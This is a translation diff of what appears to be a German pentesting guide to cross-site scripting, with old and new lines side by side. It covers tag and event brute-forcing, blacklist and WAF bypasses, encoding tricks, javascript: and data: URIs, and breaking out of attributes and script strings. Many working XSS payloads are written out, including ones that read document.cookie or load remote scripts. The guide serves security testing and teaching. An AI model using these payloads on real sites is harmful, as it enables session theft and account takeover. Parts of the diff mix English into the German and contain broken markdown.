```
|
||||
Du kannst auch versuchen, **Javascript-Funktionen direkt auszulösen**: `obj.sales.delOrders`.
|
||||
Sie können auch versuchen, **Javascript-Funktionen direkt auszulösen**: `obj.sales.delOrders`.
|
||||
|
||||
Allerdings sind die Endpunkte, die die angegebene Funktion ausführen, normalerweise Endpunkte ohne viel interessanten DOM. **Andere Seiten in derselben Origin** haben oft einen **interessanteren DOM**, um mehr Aktionen durchzuführen.
|
||||
Allerdings sind die Endpoints, die die angegebene Funktion ausführen, meist Endpoints ohne besonders interessanten DOM; **andere Seiten in derselben Origin** werden einen **interessanteren DOM** haben, um mehr Aktionen durchzuführen.
|
||||
|
||||
Daher wurde, um **diese Verwundbarkeit in einem anderen DOM zu missbrauchen**, die Exploitation **Same Origin Method Execution (SOME)** entwickelt:
|
||||
Daher wurde, um diese Verwundbarkeit in einem anderen DOM zu **missbrauchen**, die **Same Origin Method Execution (SOME)** Exploitation entwickelt:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
Es gibt **JS code**, der **unsicher** mit Daten umgeht, die von einem Angreifer kontrolliert werden, wie `location.href`. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
|
||||
Es gibt **JS code**, der **unsicher** einige vom Angreifer kontrollierte Daten wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -138,7 +138,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art der **beliebigen JavaScript-Ausführung** kann sogar dazu missbraucht werden, **RCE** zu erlangen, **beliebige** **Dateien** auf Clients und Servern zu **lesen** und mehr.\
|
||||
Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art der **beliebigen JavaScript-Ausführung** kann sogar missbraucht werden, um **RCE** zu erlangen, **beliebige** **Dateien** in Clients und Servern zu **lesen**, und mehr.\
|
||||
Einige **Beispiele**:
|
||||
|
||||
|
||||
@ -151,17 +151,17 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## WAF bypass encoding image
|
||||
## WAF-Bypass: encodiertes Bild
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Injektion in rohes HTML
|
||||
|
||||
Wenn deine Eingabe **im HTML der Seite** reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das **erste**, was du tun musst, zu prüfen, ob du `<` missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, dieses **Zeichen** zu **reflektieren** und prüfe, ob es **HTML encoded** oder **gelöscht** wird oder ob es **unverändert reflektiert** wird. **Nur im letzten Fall wirst du diese Schwachstelle ausnutzen können**.\
|
||||
Für diese Fälle solltest du auch [**Client Side Template Injection**](../client-side-template-injection-csti.md) **im Hinterkopf behalten**.\
|
||||
_**Hinweis: Ein HTML-Kommentar kann mit `-->` oder `--!>` geschlossen werden**_
|
||||
Wenn deine Eingabe **innerhalb der HTML-Seite** reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das **erste**, was du tun musst, zu prüfen, ob du `<` zum Erstellen neuer Tags missbrauchen kannst: Versuche einfach, dieses **Zeichen** zu **reflektieren** und überprüfe, ob es **HTML encoded** oder **gelöscht** wird, oder ob es **ohne Änderungen reflektiert** wird. **Nur im letzten Fall wirst du diese Schwachstelle ausnutzen können**.\
|
||||
Für diese Fälle **beachte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Hinweis: Ein HTML-Kommentar kann geschlossen werden mit\*\***\***\*`-->`\*\***\***\* oder \*\***`--!>`\*\*_
|
||||
|
||||
In diesem Fall und falls kein Black/Whitelisting verwendet wird, könntest du Payloads wie:
|
||||
In diesem Fall und wenn kein Black-/Whitelisting verwendet wird, kannst du Payloads wie die folgenden verwenden:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -169,22 +169,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Aber wenn Tag-/Attribut-Black-/Whitelisting verwendet wird, müssen Sie **brute-force which tags** you can create.\
|
||||
Sobald Sie **located which tags are allowed** haben, müssen Sie **brute-force attributes/events** innerhalb der gefundenen gültigen Tags durchführen, um zu sehen, wie Sie den Kontext angreifen können.
|
||||
Aber, wenn Tags/Attribute Black/Whitelisting verwendet werden, musst du **brute-force herausfinden, welche Tags** du erstellen kannst.\
|
||||
Sobald du **lokalisiert hast, welche Tags erlaubt sind**, musst du **attributes/events brute-force** innerhalb der gefundenen gültigen Tags durchführen, um zu sehen, wie du den Kontext angreifen kannst.
|
||||
|
||||
### Tags/Events brute-force
|
||||
|
||||
Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Copy tags to clipboard**_. Senden Sie dann alle mit Burp intruder und prüfen Sie, ob irgendwelche Tags nicht vom WAF als bösartig entdeckt wurden. Sobald Sie entdeckt haben, welche Tags Sie verwenden können, können Sie **brute force all the events** mit den gültigen Tags durchführen (klicken Sie auf derselben Webseite auf _**Copy events to clipboard**_ und folgen Sie derselben Vorgehensweise wie zuvor).
|
||||
Gehe zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicke auf _**Kopiere Tags in die Zwischenablage**_. Sende anschließend alle mit Burp intruder und prüfe, ob eines der Tags vom WAF nicht als bösartig erkannt wurde. Sobald du herausgefunden hast, welche Tags du verwenden kannst, kannst du **alle Events brute-force** mit den gültigen Tags testen (auf derselben Webseite klicke auf _**Kopiere Events in die Zwischenablage**_ und folge demselben Verfahren wie zuvor).
|
||||
|
||||
### Benutzerdefinierte Tags
|
||||
|
||||
Wenn Sie kein gültiges HTML-Tag gefunden haben, können Sie versuchen, ein benutzerdefiniertes Tag zu erstellen und JS-Code mit dem `onfocus`-Attribut auszuführen. In der XSS-Anfrage müssen Sie die URL mit `#` beenden, damit die Seite auf dieses Objekt fokussiert und der Code ausgeführt wird:
|
||||
Wenn du kein gültiges HTML-Tag gefunden hast, kannst du versuchen, ein **benutzerdefiniertes Tag zu erstellen** und JS-Code mit dem `onfocus`-Attribut auszuführen. In der XSS-Anfrage musst du die URL mit `#` beenden, damit die Seite **den Fokus auf dieses Objekt setzt** und den Code **ausführt**:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Wenn irgendeine Art von blacklist verwendet wird, könntest du versuchen, sie mit ein paar einfachen Tricks zu umgehen:
|
||||
Wenn irgendeine Art von blacklist verwendet wird, könntest du versuchen, sie mit ein paar einfachen Tricks zu bypassen:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -234,31 +234,31 @@ onerror=alert`1`
|
||||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
### Längen-Bypass (kleine XSSs)
|
||||
|
||||
> [!NOTE] > **Mehr tiny XSS für verschiedene Umgebungen** payload [**finden Sie hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **Mehr tiny XSS payloads für verschiedene Umgebungen** sind [**hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me) zu finden.
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Das letzte verwendet 2 Unicode-Zeichen, die sich zu 5 erweitern: telsr\
|
||||
Mehr dieser Zeichen sind [here](https://www.unicode.org/charts/normalization/).\
|
||||
Um zu prüfen, in welche Zeichen sie zerlegt werden, siehe [here](https://www.compart.com/en/unicode/U+2121).
|
||||
Das letzte verwendet 2 Unicode-Zeichen, die sich zu 5 erweitern: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
Um zu prüfen, in welche Zeichen sie zerlegt werden, siehe [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Wenn du, um die Schwachstelle auszunutzen, den **Benutzer dazu bringen musst, auf einen Link oder ein Formular** mit vorausgefüllten Daten zu klicken, könntest du versuchen, [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (falls die Seite verwundbar ist).
|
||||
Wenn du, um die Schwachstelle auszunutzen, brauchst, dass der **Benutzer auf einen Link oder ein Formular klickt** mit vorausgefüllten Daten, könntest du versuchen, [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (falls die Seite verwundbar ist).
|
||||
|
||||
### Unmöglich - Dangling Markup
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Wenn du denkst, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, das JS-Code ausführt**, solltest du [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) prüfen, da du die Schwachstelle **ohne** Ausführung von **JS**-Code **ausnutzen** könntest.
|
||||
Wenn du denkst, dass **es unmöglich ist, ein HTML tag mit einem Attribut zu erzeugen, das JS-Code ausführt**, solltest du [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) prüfen, denn du könntest die Schwachstelle **ausnutzen** **ohne** **JS**-Code auszuführen.
|
||||
|
||||
## Injektion in HTML-Tag
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Innerhalb des Tags / Aus dem Attributwert entkommen
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
Wenn du dich **innerhalb eines HTML-Tags** befindest, ist das Erste, was du versuchen solltest, **aus dem Tag zu entkommen** und einige der in der [previous section](#injecting-inside-raw-html) erwähnten Techniken zu verwenden, um JS-Code auszuführen.\
|
||||
Wenn du **nicht aus dem Tag entkommen kannst**, könntest du neue Attribute innerhalb des Tags erzeugen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einer Payload wie (_beachte, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu escapen, du brauchst sie nicht, wenn deine Eingabe direkt im Tag reflektiert wird_):
|
||||
Wenn du dich **inside a HTML tag** befindest, ist das Erste, was du versuchen könntest, aus dem Tag zu **escape** und einige der in der [previous section](#injecting-inside-raw-html) genannten Techniken zu verwenden, um JS-Code auszuführen.\
|
||||
Wenn du dich **nicht aus dem Tag escape** kannst, könntest du neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einem Payload wie (_beachte, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu escapen; du wirst sie nicht benötigen, wenn deine Eingabe direkt innerhalb des Tags reflektiert wird_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -275,12 +275,11 @@ Wenn du **nicht aus dem Tag entkommen kannst**, könntest du neue Attribute inne
|
||||
```
|
||||
### Innerhalb des Attributs
|
||||
|
||||
Auch wenn du **nicht aus dem Attribut entkommen kannst** (`"` wird kodiert oder gelöscht), kommt es darauf an, **in welches Attribut** dein Wert reflektiert wird und **ob du den gesamten Wert oder nur einen Teil kontrollierst**; dann kannst du ihn missbrauchen. Zum **Beispiel**, wenn du ein Event wie `onclick=` kontrollierst, kannst du es dazu bringen, beliebigen Code auszuführen, wenn es geklickt wird.\
|
||||
Ein weiteres interessantes **Beispiel** ist das Attribut `href`, bei dem du das `javascript:`-Protokoll verwenden kannst, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
Auch wenn du **nicht aus dem Attribut ausbrechen kannst** (`"` wird kodiert oder gelöscht), kannst du je nachdem, **in welchem Attribut** dein Wert reflektiert wird und **ob du den gesamten Wert oder nur einen Teil kontrollierst**, das Attribut ausnutzen. Zum **Beispiel**, wenn du ein Event wie `onclick=` kontrollierst, kannst du beliebigen Code ausführen lassen, wenn darauf geklickt wird.\ Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo du das `javascript:`-Protokoll verwenden kannst, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass innerhalb des Events mittels HTML-Encoding/URL-Encode**
|
||||
Bypass inside event using HTML encoding/URL encode
|
||||
|
||||
Die **HTML-kodierten Zeichen** innerhalb des Werts von HTML-Tag-Attributen werden **zur Laufzeit decodiert**. Daher ist etwas wie das Folgende gültig (die Payload ist fett): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
Die **HTML-codierten Zeichen** innerhalb des Wertes von HTML-Tag-Attributen werden **zur Laufzeit decodiert**. Daher ist so etwas wie das Folgende gültig (die Payload ist fettgedruckt): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
Beachte, dass **jede Art von HTML-Encoding gültig ist**:
|
||||
```javascript
|
||||
@ -299,11 +298,11 @@ Beachte, dass **jede Art von HTML-Encoding gültig ist**:
|
||||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**Beachte, dass URL encode auch funktioniert:**
|
||||
**Beachte, dass URL encode ebenfalls funktioniert:**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Bypass innerhalb eines Events mit Unicode-Encode**
|
||||
**Bypass innerhalb eines Events mittels Unicode-Encode**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -311,7 +310,7 @@ Beachte, dass **jede Art von HTML-Encoding gültig ist**:
|
||||
```
|
||||
### Spezielle Protokolle im Attribut
|
||||
|
||||
Dort kannst du die Protokolle **`javascript:`** oder **`data:`** an einigen Stellen verwenden, um **beliebigen JS-Code auszuführen**. Einige erfordern Benutzerinteraktion, andere nicht.
|
||||
Dort kannst du die Protokolle **`javascript:`** oder **`data:`** an einigen Stellen verwenden, um **beliebigen JS-Code auszuführen**. Manche erfordern Benutzerinteraktion, andere nicht.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -331,9 +330,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
||||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||||
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||||
```
|
||||
**Stellen, an denen du diese Protokolle injizieren kannst**
|
||||
**Orte, an denen du diese Protokolle injizieren kannst**
|
||||
|
||||
**Im Allgemeinen** kann das `javascript:`-Protokoll **in jedem Tag verwendet werden, das das Attribut `href` akzeptiert** und in **den meisten** Tags, die das **Attribut `src`** akzeptieren (aber nicht `<img`)
|
||||
**Im Allgemeinen** kann das `javascript:`-Protokoll **in jedem Tag verwendet werden, das das Attribut `href` akzeptiert** und in **den meisten** Tags, die das **Attribut `src`** akzeptieren (aber nicht `<img>`)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -355,21 +354,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Weitere Obfuskationstricks**
|
||||
|
||||
_**In diesem Fall sind das HTML-Encoding und der Unicode-Encoding-Trick aus dem vorherigen Abschnitt ebenfalls gültig, da du dich innerhalb eines Attributs befindest.**_
|
||||
_**In diesem Fall sind der HTML encoding- und der Unicode encoding-Trick aus dem vorherigen Abschnitt ebenfalls anwendbar, da du dich innerhalb eines Attributs befindest.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Außerdem gibt es einen weiteren **netten Trick** für diese Fälle: **Selbst wenn deine Eingabe innerhalb von `javascript:...` URL-kodiert wird, wird sie vor der Ausführung URL-dekodiert.** Wenn du also **escape** aus dem **string** mit einem **single quote** verwenden musst und siehst, dass **es URL-kodiert wird**, denk daran, dass **das egal ist,** es wird während der **Ausführungszeit** als **single quote** interpretiert.
|
||||
Außerdem gibt es einen weiteren **netten Trick** für diese Fälle: **Selbst wenn deine Eingabe innerhalb von `javascript:...` URL encoded wird, wird sie vor der Ausführung URL decoded.** Also, wenn du aus dem **String** mit einem **single quote** **escape** musst und siehst, dass **es URL encoded wird**, denk daran, dass **das egal ist,** es wird zur **Ausführungszeit** als **single quote** interpretiert.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Beachte, dass wenn du versuchst, **beide** `URLencode + HTMLencode` in beliebiger Reihenfolge zu verwenden, um die **payload** zu encodieren, es **nicht** **funktionieren** wird, aber du kannst **sie im payload mischen**.
|
||||
Beachte, dass wenn du versuchst, **beide** `URLencode + HTMLencode` in beliebiger Reihenfolge anzuwenden, um den **payload** zu encodieren, es **wird nicht** **funktionieren**, aber du kannst **sie innerhalb des payloads mischen**.
|
||||
|
||||
**Verwendung von Hex und Octal encode mit `javascript:`**
|
||||
**Verwendung von Hex and Octal encode mit `javascript:`**
|
||||
|
||||
Du kannst **Hex** und **Octal encode** innerhalb des `src`-Attributs von `iframe` (zumindest) verwenden, um **HTML tags zur Ausführung von JS** zu deklarieren:
|
||||
Du kannst **Hex** und **Octal encode** innerhalb des `src`-Attributs von `iframe` (zumindest) verwenden, um **HTML tags to execute JS** zu deklarieren:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -385,16 +384,17 @@ Du kannst **Hex** und **Octal encode** innerhalb des `src`-Attributs von `iframe
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Wenn du in einem beliebigen **`<a href=`** Tag eine beliebige URL injizieren kannst, das die Attribute **`target="_blank" and rel="opener"`** enthält, siehe die **folgende Seite, um dieses Verhalten auszunutzen**:
|
||||
Wenn du jede beliebige URL in ein beliebiges **`<a href=`**-Tag injizieren kannst, das die Attribute **`target="_blank" and rel="opener"`** enthält, sieh dir die **folgende Seite an, um dieses Verhalten auszunutzen**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### Umgehung von "on" Event-Handlern
|
||||
### Bypass von on-Event-Handlern
|
||||
|
||||
Prüfe zunächst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) auf nützliche **"on" event handlers**.\
|
||||
Falls eine blacklist verhindert, dass du diese Event-Handler erstellen kannst, kannst du die folgenden Bypässe versuchen:
|
||||
Prüfe zuerst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) nach nützlichen **"on" event handlers**.\
|
||||
Falls eine Blacklist dich daran hindert, diese on-Event-Handler zu erstellen, kannst du die folgenden Bypässe versuchen:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -409,9 +409,9 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
### XSS in „Nicht ausnutzbare Tags“ (hidden input, link, canonical, meta)
|
||||
|
||||
Von [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ist es jetzt möglich, hidden inputs zu missbrauchen:**
|
||||
Von [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ist es nun möglich, hidden inputs wie folgt zu missbrauchen:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
@ -430,15 +430,15 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Von [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS payload inside a hidden attribute** ausführen, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. In Firefox unter Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und auf OS X **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie einen anderen Schlüssel im access key attribute verwenden. Hier ist der Vektor:
|
||||
Aus [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Du kannst eine **XSS payload inside a hidden attribute** ausführen, vorausgesetzt du kannst das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox auf Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und auf OS X **CTRL+ALT+X**. Du kannst eine andere Tastenkombination angeben, indem du eine andere Taste im access key attribute verwendest. Hier ist der Vektor:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Die XSS payload wird in etwa so aussehen: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
**Die XSS payload wird ungefähr so aussehen: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Blacklist Bypasses
|
||||
|
||||
In diesem Abschnitt wurden bereits mehrere Tricks mit verschiedenen Encodings gezeigt. Geh **zurück, um zu lernen, wo du Folgendes verwenden kannst:**
|
||||
Mehrere Tricks mit unterschiedlichen encodings wurden bereits in diesem Abschnitt aufgezeigt. Gehe **zurück, um zu lernen, wo du verwenden kannst:**
|
||||
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
|
||||
@ -446,21 +446,21 @@ In diesem Abschnitt wurden bereits mehrere Tricks mit verschiedenen Encodings ge
|
||||
- **Hex and Octal encoding**
|
||||
- **data encoding**
|
||||
|
||||
**Bypasses für HTML tags and attributes**
|
||||
**Bypasses for HTML tags and attributes**
|
||||
|
||||
Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
Siehe die [Blacklist Bypasses der vorherigen Sektion](#blacklist-bypasses).
|
||||
|
||||
**Bypasses for JavaScript code**
|
||||
|
||||
Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
Siehe die J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Wenn du eine **XSS in einem sehr kleinen Bereich** der Website gefunden hast, die eine Art von Interaktion benötigt (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, den Platz, den das Element einnimmt, zu **verändern**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
|
||||
Wenn du ein **XSS in einem sehr kleinen Bereich** der Seite gefunden hast, das irgendeine Art von Interaktion benötigt (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, den **Platz, den dieses Element einnimmt, zu verändern**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
|
||||
|
||||
Zum Beispiel könntest du dem Element etwas Styling hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Wenn der WAF jedoch das style-Attribut filtert, kannst du CSS Styling Gadgets verwenden, also wenn du zum Beispiel findest
|
||||
Wenn der WAF jedoch das style-Attribut filtert, kannst du CSS Styling Gadgets verwenden. Wenn du z.B. findest
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -468,27 +468,27 @@ und
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Jetzt kannst du unseren Link modifizieren und ihn in die folgende Form bringen
|
||||
kannst du jetzt unseren Link modifizieren und in die Form bringen
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
Dieser Trick wurde von [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) übernommen.
|
||||
|
||||
## Injecting inside JavaScript code
|
||||
|
||||
In diesen Fällen wird dein **input** innerhalb des JS-Codes einer `.js`-Datei oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Events, die JS-Code ausführen können, oder in Attributen, die das `javascript:`-Protokoll akzeptieren, reflektiert.
|
||||
In diesen Fällen wird dein **input** innerhalb des JS-Codes eines `.js`-Files oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Events, die JS ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**.
|
||||
|
||||
### Escaping \<script> tag
|
||||
|
||||
Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, kannst du leicht das Schließen des `<script>`-Tags **escapen**:
|
||||
Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, kannst du leicht das **Schließen des `<script>`-Tags escapen**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Beachte, dass wir in diesem Beispiel **nicht einmal das einfache Anführungszeichen geschlossen haben**. Das liegt daran, dass das **HTML-Parsen zuerst vom Browser durchgeführt wird**, wobei Seiten-Elemente identifiziert werden, einschließlich Script-Blöcken. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.
|
||||
Beachte, dass wir in diesem Beispiel **haven't even closed the single quote**. Das liegt daran, dass **HTML parsing is performed first by the browser**, wobei Seiten-Elemente identifiziert werden, einschließlich Script-Blöcken. Die Analyse von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.
|
||||
|
||||
### Innerhalb von JS-Code
|
||||
|
||||
Wenn `<>` bereinigt werden, kannst du trotzdem die **Zeichenkette escapen** dort, wo deine Eingabe **sich befindet**, und **beliebigen JS-Code ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, denn wenn Fehler vorhanden sind, wird der JS-Code nicht ausgeführt:
|
||||
Wenn `<>` sanitised werden, kannst du trotzdem **escape the string** an der Stelle, wo deine Eingabe **located** ist, und **execute arbitrary JS**. Es ist wichtig, die **fix JS syntax**, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -496,25 +496,25 @@ Wenn `<>` bereinigt werden, kannst du trotzdem die **Zeichenkette escapen** dort
|
||||
```
|
||||
#### JS-in-JS string break → inject → repair pattern
|
||||
|
||||
Wenn Benutzereingaben in eine zitierte JavaScript-Zeichenkette gelangen (z. B. serverseitiges Echo in ein Inline-Skript), kannst du die Zeichenkette beenden, Code injizieren und die Syntax reparieren, damit das Parsen gültig bleibt. Generisches Grundgerüst:
|
||||
Wenn Benutzereingaben in einen in Anführungszeichen stehenden JavaScript-String gelangen (z. B. server-side echo in ein inline script), kannst du den String terminieren, Code injecten und die Syntax reparieren, damit das Parsing gültig bleibt. Generisches Gerüst:
|
||||
```
|
||||
" // end original string
|
||||
; // safely terminate the statement
|
||||
<INJECTION> // attacker-controlled JS
|
||||
; a = " // repair and resume expected string/statement
|
||||
```
|
||||
Beispiel für ein URL-Muster, wenn der verwundbare Parameter in einen JS-String reflektiert wird:
|
||||
Beispiel-URL-Muster, wenn der verwundbare Parameter in einen JS-String reflektiert wird:
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
